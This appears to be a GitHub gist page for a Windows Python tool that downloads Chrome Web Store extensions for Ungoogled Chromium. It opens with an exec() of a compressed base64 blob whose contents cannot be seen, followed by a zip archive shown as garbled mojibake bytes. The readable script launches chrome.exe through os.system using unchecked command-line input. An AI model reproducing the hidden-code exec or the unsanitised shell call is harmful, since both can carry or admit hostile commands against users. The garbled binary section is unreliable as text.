Skip to content

Instantly share code, notes, and snippets.

@aolko
Last active October 7, 2016 08:32
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save aolko/75409449be8c296ccd171766adeedbbc to your computer and use it in GitHub Desktop.
Save aolko/75409449be8c296ccd171766adeedbbc to your computer and use it in GitHub Desktop.
Ungoogled chromium extension downloader (win)
import zlib, base64
exec(zlib.decompress(base64.b64decode('eJydVG1r2zAQ/u5foRla7DWT89KkI5lXygIdtIXCOraRhqLYZ0dUljRJzryV/PdJnp24awtjX/xyd3ruuefuRAsplEEKvpegjZ55tDXsPvXPvTlnYrX7EXu7oYU9cP1tFNtovAGlqeB3lGdi0V/G8cijGbLeqYcyJQpUKsboCjdZUQNirQqMorABD5iGx9HPRTHK73Wdkqh8sxhMlzMvFT84EyR1vthfGyP1NIoSRoEbPcS5EDkDnIgi0qA2NIGolCkxMIwSVZ0q0FJwDbGClCpIzKFUIm0Kio9PcP+wiml6MJo/bA+GE8q1IYxpUaoErFHwFArCU+sqE9+DygB3J2mq44UlpyCHqrLgjoCkDIKa4UIvT/HRbRScXr9jRBtJlHmPj0I/nHmZUMjVgiiv39rK0sXFRErgafAHGmsgKlkHLjLEuRKlDPwW0g8bvM55B9uFs+hKCJMJloKK/fk04sKc16J9WNtuQOTPvJpI3FUaW9iCmKADZXPtkdvYuJ00nIOpWfbWQGwqHT/4n21H3pzltlH+1L8SvyhjJBrjPgq+DgYzdEl5WaHq7eRuchyiMykZfIHVBTXReHSCRxMUXHy8ubrsWXb3gM4huRchaki7zuHheDjBJyP0iWRE0eaUvw2xnSlLVirKTeAvoiWaN3Qpz/c1oIf+1sn1MNiaQkYYY/+Zsnt7+Zzc3XkNnsjR8y1m5NAsKLYDuEPco/S6moaPeZ4L8yK/fyHXgbpRhOsMlHpasxEoqWV8oeQuVEBbzZFei5KliJGSJ2tHbIw0JLZ4jd1g15cG1gxABmP3LzS2q2ygCJwqTUaoAGV2UewOR/+hVSfHoP83TQaEu2pL6QprKCRru/hB25dnctS4jhKj2sTuRsTuEfiva1K11+5Y5ipuw+xWOWwFhbBjkIU7HtGrWzRXJEf20kCpEhK1owFppwv1Pdh6NFoRtW+KVWYXqJEkOTgOvwGqGwgV')))
#!/usr/bin/env python3
PK  ЖSFI&Ј!Цц G __main__.pyќTmoЪ0юћ_бej•ґФбҐР
ЖЄjHќФVЄґNЫDQe’K°кШћн06ДџdѓJУтЃђуЭsП=з»·имд Е"Ў<лЈВ¤g—Овy4—B¤а{ЪиБО°э«оМУн‡ШЩ
НmЂчр­ѓ†. ПAi*ш3е©7'h8DЏ¦Иzф=dџT‰Љ1:ЕUvTЃY«Ј(МБ¦a/ађ#ЈьEWЙ‰КжгV2рсѓ3Awjэ™1RчЈ(fёСmњ ‘1А±И#
jNc€
™н(V‹+Z
®aЁ Ў
bs,•HЄв†зёyјТдЁ3Z®ЋЪ=Кµ!ЊiQЁ¬QрrВ{TДѕ ЬEТДQ[‚
2X,м‡*IHК (YЋхд
џ>EБХГ;Fґ‘D™чш4фГЃ—
…КЉ(/Яz­P)Ѓ'Бk *ћО9Д™… ь
ЄZИіа лxл J“
–ЂrbЋъж¦TрГМ¶"PъUrЧХЗ6ANLP
ТЮё—j¬п#ОА”¬3 6­.эП¶QgЧ™нџЯчпЕ/К‰єё‰‚Ї­Ц ЭQ^,РвІчЬ;Сµ” ѕАф–љЁЫ№Аќ
n?>ЮЯ5,Й@7ї€Uф]Cq»Ыоб‹ъDRўhеЇBlЇЫљ±T”›АG4Є8Ы№Ъ‚–Н•pЩZ™\Fcя@щЌќљa%EнB{І4| 9@‹‹ннЬ‚оЂuyГ=¶7ВјКт)ЦРб:Ґц‹7ЕҐ¤ЇФюZ@7-@z&
– F
ПЅ.Т[4ц« ·l°f 2иV&Ў±|yаDЄRГPjКО{фТХ2µљ(3 Ь_HWзЋK<іЫ"Шфл@ІMGЏQ»ъ†еjЕо'рOJЉ;˜©bг»Е*“‚\ШЛ’†unС›'4R$Cvх D №ќDHjЌ*7кжDЈ)Q»ѕYН¶ЋI’ЃгуPK   ЖSFI&Ј!Цц G ¶Ѓ __main__.pyPK   9 
# -*- coding: utf-8 -*-
import requests;
import re;
import sys;
import glob;
import os;
import time;
PY3 = sys.version_info[0] == 3
if PY3:
from urllib.request import urlretrieve
else:
from urllib import urlretrieve
links = sys.argv[1:];
downloadlink = "https://clients2.google.com/service/update2/crx?response=redirect&prodversion=47.0&x=id%3D{}%26installsource%3Dondemand%26uc"
extensionids = [];
regexx = re.compile("http[s]?.+\/(?P<lastpart>.+)");
for link in links:
extensionids.append(regexx.search(link).group("lastpart"));
for extensionid in extensionids:
rootfolder = "C:/ungoogledchromium_path/"; #change here
link = downloadlink.format(extensionid);
extensiondownload = requests.get(link,headers={"User-Agent":"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36"}).url;
print("[/] Downloading extension {0} in {1}tmp/...".format(extensionid,rootfolder));
urlretrieve(extensiondownload,"{0}/tmp/{1}.crx".format(rootfolder,extensionid));
print("[/] Got extension {0} in {1}tmp/".format(extensionid,rootfolder));
print("[/] Transferring extension {0} to chrome...".format(extensionid));
print("(i) Chrome should launch in 5 seconds.");
time.sleep(5);
os.system("{0}chrome.exe file:///{0}/tmp/{1}.crx".format(rootfolder,extensionid));
time.sleep(10);
print("(i) Cleaning up...");
os.chdir("{0}/tmp".format(rootfolder));
filelist = glob.glob("*.crx");
for f in filelist:
os.remove(f)
print("/!\ Drag and drop downloaded extension from downloads bar to chrome://extensions page");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment